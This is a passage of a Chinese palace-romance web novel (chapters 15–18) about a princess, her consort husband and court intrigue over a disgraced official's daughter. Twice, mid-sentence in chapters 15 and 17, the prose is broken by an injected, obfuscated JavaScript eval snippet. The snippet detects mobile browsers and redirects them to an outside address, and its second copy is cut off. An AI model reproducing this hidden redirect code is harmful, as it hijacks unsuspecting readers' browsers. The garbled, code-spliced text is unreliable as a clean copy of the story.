他又凑近了些,声音又轻又沉,像羽毛拂过,又像是一块没入水中的沉水香,拖着她一直往下坠。 “那,殿下现在想要吗?” 15. 第 15 章 话问出口的刹那,陆惊澜感觉自己仿佛一瞬间回到了刀光剑影的战场。 只不过这一次,他眼前没有千军万马,只有她。 唯有一个她。 可为何曾经能心若止水,而今却心如悬旌。 书房里静幽幽的,窗外的夕阳好像又斜了些,不偏不倚地在二人之间落下一道昏黄的界限。 他浸在曛曛余光中,凝望着她藏于晦暗之处的侧颜,忐忑不安地等一个答案。 “刚才想。” 不知沉默了多久,萧璟终于开口,慌乱的声音一点一点平稳下来。 “现在不想了。” 这算什么答案? 陆惊澜那颗本就飘摇不定的心,此刻仿佛一面残破不堪的旌旗,被这两句简简单单的话来回撕扯,一句要他朝东迎风招展,一句要他向西默默垂落。 “为什么?”他追问道。 明明才说了三个字,可每一个都比前一个气息不稳。 仲夏时节,他竟止不住地微微颤栗。 她抬起头,坦诚地迎上他苦苦探求的目光,冷静道:“方才你说梦话了,我想听一听,现在你醒了,听不到了,自然就不想了。” 陆惊澜喉间轻轻擦过一个笑,笑声未散,他就迅速垂下眼眸,因为若是再迟一刻,有些东西便再也掩不住了。 萧璟,靠近你,怎么比在万千军中取上将首级还难。 再次抬起头时,他的眼中重新带上笑意,和声问道:“那殿下以后若是想了,可否告知臣一声?” 他扯了扯嘴角,声音沉下来,“毕竟,臣向来愚钝,还请殿下不吝赐教。” “好。” 萧璟平静无波的声音终于起了一丝涟漪,她嘴角微扬,笑道,“不过,我只教一次。” 望着她的浅浅笑意,陆惊澜也绽开一个温柔的笑,可那笑容底下藏着的算计,实在算不得温柔。 刚才想。 哪怕只有短短一瞬,那也是想了。 一念起,万念生。 殿下,您想只教一次,恐怕不行了。 * 带着点小得意,萧璟脚步欢快地出了书房,虽然面上平静如水,可腰间那枚铃音清脆的坠子一直响个不停。 她心中暗暗感叹,自己真是急中生智,面对那般古怪刁钻的问题,都能编出如此天衣无缝的解释,就是大理寺少卿来了,也挑不出一点错漏。 只不过,她心里到底还是存了个疑问。 对他那个问题,她心底的答案,究竟是什么呢? 脚下不由自主地一顿。 她想要? 她不想要? 她想要什么? 她不知道。 不单如此,她也不知道他究竟要她教些什么。 她只是想着,既然骗了,那索性骗到底吧。 只是他垂眸那一瞬,眼底漏出的一点落寞,在夕阳的映照下格外刺眼,在她心头久久盘桓不去。 萧璟甩了甩手,决定不再纠结,清脆的铃音再次响起。 “叮铃,叮铃。” 甚是悦耳。 * 翌日清晨,萧璟从酣甜的梦乡中缓缓醒来,她惬意地伸展了一下四肢,嘴角忍不住轻轻扬起。 自从大婚后,那些可怖的噩梦,已经数日不曾造访了。 她满意地望了望身侧,那个「吉祥物」竟然还没醒,而且呼吸悠长,睡得正熟。 他一向醒得比她早,今日这般贪睡,甚是少见。 不过他贪睡也好,这样她就能把昨日小榻上没来得及看的,都看个遍。 萧璟轻盈地翻了个身,裹着锦衾伏于榻上,用一只手撑着脑袋,细细端详起眼前人的睡颜来,那双纤细的赤足,还安逸地翘了翘。 他是生得好看的,眉如墨画,鼻梁高挺,再加上薄薄的嘴唇,俊俏的下巴,刚刚好凑成「容颜如玉」四个字。 唯一有些可惜的,便是此刻看不到那双朗星般的眸子。 可若是他现下睁开眼,只怕她就不好意思看了。 所以,这样也挺好的。 萧璟边端量着,心中边想:老天爷对我们萧家,还算是没有赶尽杀绝。 倘若命定的化煞之人是个獐头鼠目的,她恐怕此时已经哭着去地府找列祖列宗算账了。 至于这破煞气,谁爱化谁化。 日光变得更灼人些的时候,陆惊澜的眼皮终于轻轻抖了抖,萧璟赶忙一个翻身躺好,发出一声浓重的鼻音,装作刚刚醒来的样子。 “殿下也醒了?”他揉了揉惺忪的睡眼,声音沙哑。 “嗯,刚醒。” 闻言他却凑近了些,笑道,“殿下不是刚醒吧?” 他望着她努力保持镇定的眼神,悠悠道,“殿下刚睡醒的时候,声音总是懒懒的,尾音有些含糊,不会这般清亮。” 萧璟有些不服气,反问道:“人的声音是会变的,你凭什么这般笃定?” 陆惊澜得意地挑眉一笑:“因为臣已经听了七日,每一日都是这样,分毫不差。” “就仿佛有一只小猫,每日清晨轻轻挠臣一下,连挠的地方和力道都一样,自然想忘都忘不掉。” “你……”萧璟觉得此时的自己当真像只气得炸毛的猫,她伸手捏住他的耳朵,威胁道,“那驸马是想忘掉本宫的声音咯?” 那被她捏住的耳朵,瞬间红透,摸着都有些微微烫手。 她正犹豫着是否要松开时,他忽然握住她捏他耳垂的那只手,顺势一带,紧紧贴在他心口的位置,声音沉了下来:“不想忘,特别是这里。” 萧璟脑中霎时间一片空白,眼前是他近在咫尺的深邃眼眸,手下是他温热的胸膛,还有那一下一下,炽热跳动着的心。 跟着那心跳声,她和他的呼吸声渐渐融成一个节奏。 她呵气如兰,他吐息含松,幽香缠绕着清冽,柔柔地拂过彼此的鼻尖。 那交织得难分难舍的气息,像是一根无形的丝线,牵引着萧璟不由自主地向他靠近。 就在鼻尖将要彼此触及的那一刻,忽地传来两声不轻不重的叩门声,以及一并响起的通传声。 “殿下,驸马,睿王殿下来了,在花厅候着呢。” 两人瞬间弹开一大段距离,慌张地应了一声后,久久无言。 * 一直到梳洗完毕,行至花厅,萧璟都没再开口和陆惊澜说一句话,准确而言,她都没再看他一眼。 面上的热意一阵一阵袭来,脑中只剩下一个念头在打转。 她方才鬼使神差的,是想亲他?这倒也罢了,竟然还没亲到,真是奇耻大辱。 揣着一肚子火气,她远远地便瞧见了那个在花厅悠闲用着茶点的三哥,脚下步履生风,微微一笑:“三哥来得真早。” 萧烁看着面带笑容但一身怨气而来的二人,顿觉嘴里的桂花糕都不甜了,他小声嘟囔道:“我今日可叫人通传了,再说了……” 他抬头望了望高悬的烈日,喃喃道,“这哪早了?你们不会才起身吧?” 见二人沉默不言,他忽地就不慌了,拖长了音调,“啊——” 他将那剩了半块的桂花糕慢条斯理地咽了下去,又啜了口清甜的玫瑰花茶,这才扬起一抹狡黠的笑。 “我懂,我懂。” 萧璟的脸腾地一红,慌忙望向陆惊澜,可对面也是一张红透的脸,眼神心虚得乱飘。 真是的,想偷亲的人又不是他。 这般作态,现下二人跳进黄河也洗不清了。 “好了好了,”萧烁总算把嘴角压了下去,声音也沉稳了几分,“我来是为了正事,那个江南美人,我查清楚了。” 一听这话,那些羞涩心思瞬间烟消云散,萧璟上前两步,急声问道:“她是谁?什么来历,为何在教坊司?跟大哥又是什么关系?” “什么江南美人?”陆惊澜突然开口。 她这才意识到花厅里还站着一个人,偷偷瞥了他一眼,心虚地小声道,“就是那日宫宴上弹琵琶的一个乐伎,三哥说,她便是大哥收藏的那张美人图上的江南第一美人。” “哦。”他的脸竟然也不红了,回忆道,“所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036922|193963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那日殿下和三哥嘀嘀咕咕了半天,还不肯向臣透露半个字,便是这件事。” “此事关乎大哥清誉,那女子的身份又尚未查明,怎好随意告知旁人?”萧璟自觉占理,努力撑起声音。 可下一瞬,陆惊澜脸上的笑霎时冷了,眉心一跳:“旁人?” “臣是旁人?” 这句话落下的瞬间,花厅内气氛骤冷。 萧烁敏锐地放下茶盏,干笑了两声,打起圆场来:“哈哈,小五她只是一时口快,惊澜你别介意,哪有什么旁人,咱们自然是一家人。” 他说着,又轻轻推了推萧璟的手臂,眼角狂跳。 萧璟不是看不明白他的眼色,只是她心里不觉得自己有错。 这件事,除去本就知情的三哥,她连其他兄弟都未透露分毫,他怎可这般疾言厉色地质问她。 她蹙起眉,冷声道:“「旁人」二字是我说得不对,但本宫行事自有章法,驸马未免干涉过甚……” 话还未说完,衣袖便被萧烁猛地一拽。 他直接打断她的话,含糊带过:“好了好了,既然小五都道歉了,那惊澜你也别揪着不放了,都是小事,小事。” 陆惊澜静静地看着萧璟,终究是把眼底翻涌的暗流压了回去。 他轻笑了一声,语气和缓下来:“殿下思虑周全,此事干系皇室声誉,的确不宜声张,是臣糊涂。” 他觑着她略略舒展开的眉头,试探着问道,“但既然臣已经得知了,那后面的事,殿下总允准臣一起了?” 萧璟那口吊着的气总算松了下来,她点了点头,“既如此,便坐下来一起听吧。” * 花厅内的那股滞闷逐渐散去,只余升腾而来的袅袅茶香。 萧烁饮了口茶,压低声音:“那女子唤作玉娘,本名沈如意,是前江宁巡抚沈岳钟的女儿,五年前沈岳钟贪墨帑银,东窗事发,沈家满门查抄,家中女眷尽数没入教坊司……” “五年前?”萧璟努力回想着,灵光乍现,“我有印象,那年六月江南连雨二十余日,苏湖二州接连决堤数十处,是大梁开国以来最大的一次水患。” “那段时日,为着治水赈灾的事,父皇常常同朝臣们在御书房议到深夜,急火攻心,寝食难安,没多久便病倒了。” “不错,所以父皇才震怒异常,下旨抄了沈家满门。”萧烁点点头,“沈岳钟自熙宁元年入仕,二十余年间,从一个小小的翰林院编修,一路扶摇直上,成了江宁巡抚,主政一方。” “而他傍身的最大功绩,便是治水,可成也治水,败也治水,当真令人唏嘘。” 陆惊澜轻轻摩挲着茶盏沿,缓缓开口:“我还记得这个案子当年牵涉颇广,从工部到户部,连带查抄了十数名朝廷重臣。” 他顿了顿,继续道,“如今的户部尚书柳文渊,便是那时从户部左侍郎升任尚书的。” 萧璟仍有不解,向萧烁问道,“那沈如意和大哥又有何关系呢?” 她微蹙着眉,嘀咕着,“大哥五年前不是中意胡家小姐吗,怎的又和沈家小姐牵扯在一块了?” 萧烁重重一拍大腿,扼腕道:“这便是最奇怪的地方,大哥跟那位沈家小姐,若说有关系,那只能是仇人关系。” “五妹你忘了吗,五年前从江南水患案,一路顺藤摸瓜把户部亏空查了个底掉的人是谁?” 他一字一顿,“是大哥!” 萧璟恍然,眼中的震惊几乎要漫出来:“所以,是大哥亲手查抄了心上人一家?沈岳钟罪有应得也就罢了,他怎么都不为沈小姐求求情?” “求情?”萧烁冷笑一声,重重叹了口气,却没了下文。 萧璟满心疑惑,正等着他的答案,身旁忽然传来陆惊澜沉稳如水的声音。 “臣记得那一年,礼部刚好修订了《教坊司则例》,增设了一条——凡坐重罪者,其女眷没入教坊司,终身不赦,永世不脱。而当时力主增设此条的,正是……” 他略作停顿,指尖拈起茶盖,又倏地一放,和盏身碰出一声清脆的响。 “晋王殿下。” 16. 第 16 章 夜色正浓,万籁俱寂,萧璟却毫无倦意。 因着白日里的那些「小风波」,她心里还存着些气,故意侧身向里,不让陆惊澜看见她的脸,她也不看他的脸。 可另一张脸在她脑海中渐渐浮现。 沈如意。 她的出现,生生将萧璟记忆中大哥沉稳可靠的模样撕开了一角,露出内里血淋淋的薄情冷酷。 夺兵权一事她对大哥固然有怨,但沈如意的悲剧,带给她的是恐惧,是那个噩梦几乎要成真的恐惧。 阴煞冲犯,犯的究竟是气运,还是人心。 一种不寒而栗的感觉顺着她的脊背一路蔓延向四肢全身,她蜷起身子,将自己抱成一团,可还是忍不住微微颤抖。 好冷。 正当她准备闭上眼,用黑暗将自己彻底包裹之时,后背突然覆上一层温热。 下一瞬,一双有力的臂弯从身后将她紧紧环住,将她缩成一团的身子,整个拢进了他的胸膛。 “你…你干什么?”萧璟被他突如其来的动作吓得浑身一僵。 陆惊澜垂着头,他的脸就埋在她的颈窝,一丝一丝的热气从他脸上慢慢渗透进她冰凉的颈肩。 她有些僵硬的身体,在这样安心的温暖包裹下,也一点一点软了下来。 他应当察觉到了她的变化,揽在她腰间的手松了些,但依然没抬起头,闷闷的声音贴着她颈窝传来。 “臣做噩梦了,殿下让臣抱一会儿吧。” 萧璟被这话气得一笑,用手肘轻轻撞了撞他腰侧,调侃道:“多大的人了,还怕这个?” “殿下不怕吗?” “我……”她被这话一噎。 她若是不怕噩梦,他现在还能在她的床上,紧紧揽着她的腰吗? 萧璟无力反驳,只是用手肘又撞了他两下,不过这次加重了些力道。 可她的小动作才落,陆惊澜的头便稍稍抬起,可声音却反而更沉了,擦着她耳侧而过:“殿下别动了。” 他灼热的气息洒在她耳根,像是羽毛反复拂过,又酥又麻。 那句将要出口的「凭什么」,被她默默咽了回去。 她静静地等着,等着他的呼吸逐渐平复,等着他落在她颈窝的气息不再那般灼人,才小声道:“你还要抱多久?” 他的声音也不似先前那般低沉了,回道:“大婚当夜,殿下答应过臣的,可以抱。” “那…那你也不能一直抱吧?”萧璟心虚地反驳道。 他笑了笑,轻声道:“可是,殿下也没说不可以一直抱啊。” 她只好无奈地咬了咬牙,内心懊悔:萧璟啊萧璟,你当时真是昏了头,怎能答应得如此爽快。 背后这个人,啊不这个黏人精,可是连八岁时的一句「你笑起来好看」都记到现在,你这不是作茧自缚吗? 可覆水难收,为今之计,是得先弄清楚自己究竟泼了几盆。 她佯装无意地开口:“陆惊澜,我以前是不是话很多?” 陆惊澜抱着她的手轻轻一颤,随即又悄悄收紧了些,道:“不多。” “哦,那就好。”萧璟安心了些,继续问道,“那我应当不曾许诺你其他什么吧?” 他此时将头完全抬了起来,下颌轻轻抵在她发顶,才道:“殿下是还想许诺臣什么吗?” “谁要给你许诺了?”她立即否认,可心却因为此时这个陌生的拥抱姿势,不断加快。 她定了定神,目光望向眼前的帷帐,努力让声音平静道,“我是怕你哪天又翻出来什么「承诺」,提前问一问罢了。” 陆惊澜愉悦地笑出了声,好一会儿才道:“原来殿下是怕臣「翻旧账」啊,这好办。” 他将她轻轻转了过来,眼尾带笑地望着她,“只要殿下许臣三个新的承诺,从前的那些便一笔勾销,如何?” 萧璟望着这个眼前笑得温润的驸马,内心隐隐感觉不安。 “你…你不会漫天要价吧?” 他朝着她温柔地笑笑,道:“放心,都是殿下能做到的。” “第一个,”黑暗中,他在她眼前伸出一根手指,声音格外清晰,“永远不要背对着我睡。” “就这样?”萧璟有些犹疑不定,又看了看当下正面对面的两人。 他点了点头,“就这样。” “行。”她脱口应下,美滋滋地问道,“那剩下两个呢?” 谁知陆惊澜眉梢一挑,眼尾染笑,将她重新揽进怀里,声音里的愉悦压都压不住:“还没想好,以后再说。” 萧璟:……好像又上当了。 * 怀中人终于彻底陷入了酣眠,陆惊澜略略松开抱着她的手臂,眼中一片清明,贪婪地凝望着她的睡颜。 恬静温柔,长长的睫毛乖巧地垂着,如同一支初绽的海棠花,在红绡帐笼下的阴影里,格外迷人。 倘若不是有「正事」要办,他真想就这般看一整夜。 雍王府,书房尚留着一盏灯,陆惊澜望着映在窗上的那个高大身影,微微一笑。 他径直推门而入,萧宏端坐在书案前,略有愠色,但声音依旧沉稳:“你迟了一刻钟。” “抱歉,二哥。”他脸上带着笑意,自己寻了个位置坐下,“今夜哄她安睡,多花了些时间。” 萧宏嘴角忍不住抽了抽,那张素来严肃的脸,此刻也多了几分玩味:“陆惊澜,你小子嚣张起来当真气人。” “不过,你真就这般喜欢我五妹?喜欢到连兵权也不要?” “这件事上,二哥比我有发言权吧?”陆惊澜不慌不忙地喝了口茶,又撇了撇茶沫,“二哥还不是为了沈如意主动避让,多年来与世无争?” “咱们,英雄所见略同罢了。”他得意地举了举杯,明明喝的是茶,倒是喝出了酒逢知己的气势。 萧宏吸了口气,声音依然平静,可掩不住其中的疑虑:“可你图什么呢?兵权给我,还帮我把人救出来?” 他微微一挑眉,“难不成你这大名鼎鼎的「漠北杀神」成婚后改吃素了,打算学一学「慈悲为怀」那一套?” “我没打算把兵权给你。”陆惊澜一手撑在案上,歪头一笑,“不过请二哥暂为保管,日后自会取回。” “回报嘛,我帮沈如意从教坊司脱籍,恢复自由身。” 萧宏沉吟片刻,道:“你当真有把握?如意是罪臣之女,按礼制永世不得脱籍,这是父皇在世时定下的规矩,谁也改不了。” “更何况,因着她父亲犯下的事,她一直心怀愧疚,甘愿在教坊司一世赎罪。” 陆惊澜敛起笑意,道:“倘若她不是罪臣之女呢?” 这句轻飘飘的话才一落下,书房内顿时只剩下萧宏逐渐加重的呼吸声,他望着陆惊澜坚定的神色,望了许久,才重新开口:“成交。” 他站起身,行至陆惊澜面前,语气都热络了几分:“别喝茶了,二哥有坛上好的冰堂酒,老三惦记很久了我都没给他,咱俩把它喝了。” “欸二哥,”陆惊澜眉眼带笑,赶忙拉住萧宏,解释道,“心意我领了,酒还是不喝了。” 他顿了顿,嘴角扬起的弧度更深,“我答应过她,不喝了。” “你小子!”萧宏的笑在脸上僵了一瞬,但随即又化开,琢磨道,“陆惊澜,你真的挺奇怪的。” “我知你年少沉稳,不过十六,可行事举止比我那不成器的三弟还老练得多,怎么一对上我五妹,便这般…这般稚气。” 陆惊澜勾了勾嘴角,可这次喉间滑过的却只有苦涩。 重活一世,若还像前世那般单纯,他如何改写她的死局? 至于稚气,她喜欢的,是那个笑得稚气的陆惊澜,那他演好便是。 陆惊澜回到寝殿时,萧璟酣睡正香,清浅的呼吸声在寂静的夜里,一声一声渐次响起。 他轻手轻脚脱下外袍,小心翼翼地躺回她身边,将人重新揽回怀里,虽然动作极力放得温柔,但她还是下意识地 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“那…那是自然。”萧璟小鸡啄米地点了好几下头,舌头却有些不利索,“本宫都想好了,你想要什么生辰礼,自己去本宫的私库里挑便是了,只要是你看上的,都可以。” 他却蹙起眉,语气落了下来:“殿下的东西自然都是好的,但金银玉器一类的,毕竟是死物,虽然贵重,但终究差点意趣不是?” 萧璟困惑地重复了一遍:“意趣?你想要有意趣的?” 陆惊澜微微一笑,目光在她脸上流转,点了点头。 辰时末,阳光正好,芷萝正在水榭内,指挥着几个侍女有条不紊地布置着膳食。 早膳定在辰巳之交,是公主府的惯例。 萧璟素来恋衾,又因前番被噩梦折磨数日,如今贪眠更甚。 陆惊澜在军中夙兴惯了,但现下赋闲在家,无早朝之扰,也索性随着她,躺到天光大亮才起身。 两人正在水榭内慢悠悠地用着鸡丝粥,微风偶尔送来些栀子的清香,怡人心脾,可这静谧的时光还没维持多久,便被一阵熟悉的脚步声打碎。 萧烁径直坐下,自顾自斟了盏茶,道:“今日朝会,漠北兵权定了,给二哥。” 萧璟舀了一勺热粥送入口中:“大哥什么反应?” 萧烁缓了口气,继续道,“还能什么反应,听说登时就黑了脸,二哥这一出手,打了大哥一个措手不及。” 陆惊澜放下碗,慢条斯理地拭了拭嘴,才道:“二哥沉稳果决,又有胡老将军辅佐,漠北定安。” 虽说对大哥不悦早有预期,但亲耳听到的那一刻,萧璟的心还是沉了下去,她搅了搅粥,忽然就没了胃口。 水榭内霎时静了,只剩下碗勺碰撞的细微响声。 萧烁看看这个,又看看那个,忍不住问道:“你俩……没别的想说的了?” 二人的目光同时汇了过来,停在萧烁那张嬉笑看戏的脸上,齐声道:“用膳。” * 五月里,晋王府书房的气氛却冷得像冰。 萧启一身深色朝服,端坐案前,下首的几位心腹幕僚皆垂首敛目,大气都不敢出。 案上摆着的,正是今日朝会议定的漠北兵权调令抄本。 他的目光渐次掠过上面的每一个字,最后在「萧宏」二字上狠狠顿住,轻笑了一声。 “很好,”他的声音很平稳,可底下的人却把头垂得更低了,“装了五年的好弟弟,冷不丁反咬一口,还挺疼的。” 略作停顿后,他向下首吩咐道,“去给柳家递句话,那面错了调的琵琶,不必留了。” 幕僚中有人轻轻吸了口气,随即应道:“是。” 萧启的目光再次落在「萧宏」二字上,冷冷一笑。 二弟,权还是人,是你自己选的。 17. 第 17 章 传话之人的脚步声才远,幕僚中一位身形瘦削的谋士出列,他名为林疏,追随萧启七载有余,少有失算,亦鲜见讳言。 他直言道:“晋王殿下,恕属下多嘴,您对柳家的态度这般暧昧,属下着实不解。” “这些年来,晋王府与柳家各取所需,相安无事,可前番您硬生生断了柳明晏的前程,已令柳文渊心存芥蒂,偏又联手逼得驸马交了兵权,如今又要柳家去……” 他终究还是把那几个字咽了回去,继续道,“柳家百年门阀,在朝中树大根深,此前既有意尚主,您何不应允了他,若促成联姻,咱们许多事情上都能便宜不少。” 话音落下,一室死寂。 萧启面上并无甚情绪,只是那双眸子越来越冷,悄然凝结出一层又一层的寒冰。 林疏以为他不会回答了,赶忙道:“是属下僭越……” 萧启却突然冷声道:“他不配。” “柳明晏那个蠢货,求娶璟妹不成,便行一招太医诬陷的昏棋,最后还得本王来替他收拾烂摊子,他如今还能在礼部修一辈子典籍,柳家该千恩万谢才是。” “有些人,做本王手里的刀已是抬举他。” 萧启眼前又掠过那夜的场景,他当时便知是构陷,可若婚事真能作罢,那让这出戏唱下去也不是不行。 可惜,她不肯。 林疏察觉到萧启今日不悦之意甚重,点了点头,道:“是,殿下明鉴。陆家虽说是寒门,可手里实打实握着兵权,选陆将军为驸马,倒也很好。” “好?”萧启笑出了声,“好在哪里?” 他深深吸了口气,声音更冷了:“好在漠北的兵权到了老二手里,好在那小子总是用看仇人的眼神看我么?” 陆惊澜,你这步以退为进,走得很漂亮啊。 林疏还在试图转圜:“驸马大约是对失了兵权有所怨言吧?” “不是怨,”萧启摇了摇头,缓缓吐出两个字,“是恨。” “那小子第一次见我,眼里就有恨,藏不住的恨。” 「恨」字落下的那一瞬间,书房内重归死寂,再无人敢开口。 最后,萧启冷冷地扔下一个字。 “查。” * 日至中天,暑气炙人。 教坊司衙署内,奉銮赵德顺还在擦着额上的汗,抬眼一望,正见柳明晏带着几个小厮大步而来,他急忙迎了上去,躬身行礼。 “柳公子怎的亲自来了,快请上座。” 柳明晏径直在主位落座,将衙署四下里打量了一番,余光觑着站在一旁的赵德顺,见他满头大汗,可那双腿又一个劲地打抖,忍不住揶揄道:“赵大人这是怎么了,到底是冷还是热?” “下官,下官……”赵德顺磕绊了半天,也没个下文。 柳明晏不耐烦地摆摆手,道:“行了,去把人带出来,东西我都准备好了。” 话音刚落,身侧的小厮立刻递上礼部批文,可赵德顺却脸色发白,迟迟不接。 柳明晏眉头一锁,正要发难时,他“扑通”一声跪下,伏地道:“公子,人…人已经不在教坊司了。” “你说什么?”柳明晏霍然起身,满脸震惊,厉声质问,“人去哪了?” 赵德顺哪里敢抬头,死死贴着地砖,浑身抖如筛糠:“被…被长公主要走了,就在半个时辰前。” “怎么会是公主?她要一个乐伎何用?”柳明晏此时额上已遍布冷汗,哪里还有一点方才进来时的从容。 “是公主身边的芷萝姑娘来的,说是下月初九是驸马生辰,特召琵琶乐班去府上排几首曲子,这段时日都住在公主府……” 听到这个理由,柳明晏气得一把揪住赵德顺的衣领,眼里的怒火几乎要将瑟瑟发抖的赵德顺焚尽,咬着牙道:“你是蠢货吗,就让她这么把人带走了,你知不知道那是晋王殿下要的人?” “下官…下官实在拦不住啊。”赵德顺的后背早已被汗浸湿,哭诉道,“那可是长公主,她要的东西,谁敢不给……” “那眼下如何向晋王殿下交代?” 柳明晏咆哮着喊完这句话,便猛地甩开揪着衣领的那只手,扶额闭目。 而早已吓得瘫软的赵德顺无力地跌落在地,再说不出一个字。 一时之间,衙署内满室死寂,只剩窗外聒噪的蝉鸣和着几人愈发粗重的喘气声,一声一声,格外清晰。 不知沉默了多久,赵德顺嗫嚅着开口道:“要不…要不去公主府把人要回来?就说是晋王殿下……” 柳明晏直接气笑了,他缓缓睁开眼起身,声音听起来倒是平静了不少:“你是嫌死得不够快吗?” 赵德顺被狠狠瞪了一眼,也意识到自己提了个多么愚蠢的想法,立即噤声。 满京城里谁人不知,长公主能这般「胡作非为」,还不都是因为有晋王殿下在背后纵容。 柳明晏自然也明白这个道理,此事若他处置不当,只怕日后连修书都是妄想了。 他沉吟片刻,叹了口气,还是带着人直奔公主府而去。 * 直至那柄凤首琵琶被揽入怀中,萧璟才意识到,她已经三年没有弹过它了。 她自幼活泼好动,比起这般仪态端庄地怀抱琵琶,还是在御花园里扑蝶,或是去猎场围观兄长们骑马射箭,更对她性子些。 可六岁时那个意外醒来的深夜,她揉着朦胧的睡眼,望见父皇对着这柄琵琶无言垂泪时,忽然就起了学的念头。 这一学,便是七年。 七年如一日,能听她奏曲的只有父皇一人。 只是如今,父皇也听不到了。 她屏了口气,敛起那些藏在心底的眷恋,先用指尖一弹,带起一声清亮饱满的单音。 侧耳细听后,她又用左手食指在第七品处轻按,右手再一挑,两个音跨越那些尘封的岁月,在空中蓦地一撞,竟毫无不和谐的杂音,只余一声空灵的泛音,在空气中融融化开。 “母后的琵琶,果然是极好的。” 她一面试音,一面轻声问他:“陆惊澜,你确定这便是你要的生辰礼?” 陆惊澜坐在小案对侧,双手托腮,面带笑意地望着她:“臣确定,臣只想在生辰那天,听殿下为臣亲手弹一曲。” 萧璟脸上忍不住漾开一个笑,她右手骤然一压,大指急速扫过数根弦,剩下四指并拢一拂,裂帛之声如惊涛拍岸,又似刀枪齐鸣。 余音未散,她浅笑道:“想听什么?《十面埋伏》还是《将军令》?” 陆惊澜微微一挑眉,眸中的悦色倏然间隐入深沉的眼底,认真道:“想听《霸王卸甲》。” 闻言,萧璟的手指在凤首处顿住,她抬头望向他蓦然敛了笑的眉眼,沉默片刻,才道:“太过悲怆,不合时宜。” “若我一定要听呢?”他追问道。 她迟疑着,正欲抬手抚弦,指尖将要触弦的那一瞬,到底还是停住了。 “若我执意不弹呢?” 萧璟将手彻底放下,在身侧悄悄攥成拳,掌心传来丝丝指甲嵌入肉中的刺痛感,却远不及方才她望见他一片荒芜的眼底时,心没来由地一阵一阵抽痛。 她不想弹,更不想看见他那般悲凉的眼神。 四目相对,缄默无言。 谁也不肯开口,谁也不肯让步。 最终,还是他败下阵来,轻轻叹了口气,打破了这场不知因何而起的沉默对峙。 “那自然是依殿下。” 萧璟这才将手心慢慢松开,可心底的触痛丝毫没有褪去,她故作轻松地笑了笑:“这还差不多,既是我来弹,那曲目也该由我来定。” 她垂着眸,指尖再次落于丝弦之上,过往的记忆渐渐苏醒,不由自主地牵动着她的手指,一个弹挑起音,音色圆润,如珠落玉盘。 乐音渐起,不算复杂的音律,可经她左手一推一拉,便仿佛带着百转千回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没有丝毫犹豫,她朝着他靠近的方向迎了上去,才刚一抬头,便感受到一阵温热的气息拂过她的唇。 下一瞬,温热不再,她唯一能感知的,只剩他微凉的唇。 虽然闭着眼,可她依然能在脑海中准确地描摹出他的唇形。 薄薄的,唇峰稍尖,平日里看上去有些锋利,可刚贴着她的唇珠不过短短一瞬,便变得柔软又温润,甚是……好亲。 像是鸟儿饮水那般,萧璟在那因她湿润的唇上轻啄了一下便要分开,可分离的刹那,她的唇不小心擦过他下颌,一阵细密的刺痒感贴着传来,让她有一瞬的迟疑。 正是这意外的一顿,将她设想的「撤退」计划全盘打乱。 陆惊澜的那双薄唇追了上来,再度覆上她的,双唇相贴的下一刻,这个亲吻的动作被他毫不讲理地加重,加深。 这一次,她描摹到的便不止是他锋利的唇形。 还有他唇齿间滚烫的气息。 那气息,太热、太重,正压得她将要向后倾倒之时,一只宽大的手掌稳稳地托住了她的后颈,让她不至于节节败退,更让她无路可退。 他掌中的那层薄茧,此刻正轻柔地蹭着她颈间细嫩的皮肤,那种酥麻感,顺着她的脊背一路蔓延,比之前柴房手心相握时,更强烈百倍,叫她骨软筋酥,无力抗拒。 慌乱间,她抓住了他的胳膊,那种将要失重的感觉让她不由自主地越抓越紧,几乎要将指尖嵌进去,可他却仿佛浑然不觉,全部心神依然专注在加深这个吻上。 耳边的喧嚣霎时间淡去,萧璟的脑中一片空白,竟不知何时他的舌尖已经越过了她的齿关,引着她生涩地跟着他共舞。 他们仿佛两尾灵动的鱼,在二人共筑的这一方温暖潮湿的小天地之中,恣意同游。 不知在这片水中沉浮了多久,萧璟的世界终于重新透进了空气,不过只有小小的一道缝隙。 他用额头轻轻抵着她的,等到彼此急促的呼吸声一点一点平复过来,他低沉的声音才紧贴着她响起。 “这次,是殿下想要的。” 18. 第 18 章 直到两人的额头分离,萧璟的脸才后知后觉地烫了起来,她慌忙用手背挡上自己的又麻又胀的唇,眼神在空中乱飘,但偏偏就是不飘向面前那个眼笑眉舒的人。 她又羞又恼,嗔怨道:“你胡说,我…我明明只想亲一下,后面…后面都是你……” 本就是强撑起来的责问,又因着唇被自己的手背紧紧抵着,她只能含混地挤出几个气音,还带着轻颤。 萧璟听着自己这软绵绵的嗔怪声,更觉气势全无,脸越发红起来。 “是,都是臣。”陆惊澜努力压住上翘的嘴角,虽然他稍稍后退了些,可一开口说话,萧璟依然能感受到他的气息拂过她的鼻尖,她甚至还能嗅到那柏子香里,裹着一丝她身上的淡淡梨香,“殿下想要,臣自当尽心尽力。” “你、你……”萧璟被最后那几个字激得结巴起来,她一赌气,狠狠推了一把杵在她面前的陆惊澜。 他笑着向后趔趄了两步,她这一推的力道不算轻,又赶上他正毫无防备之时,但他毕竟是身经百战之人,这点“小偷袭”实在是不痛不痒。 萧璟看着陆惊澜身子微微晃了晃,正要站稳时,忽然脚步虚浮地向后撤了一大步,重重地甩了甩头,原本满是笑意的脸倏地白了一下。 “欸!”她顾不得什么羞恼了,赶忙伸手去拽摇摇欲坠的他,可还没碰到他的衣袖,他已经靠着自己在原地站住了。 陆惊澜又晃了晃头,再抬起时笑意已重新浮现,只是脸色看着不如先前红润,他声音上扬道:“殿下的手劲真大,险些把臣推倒了。” 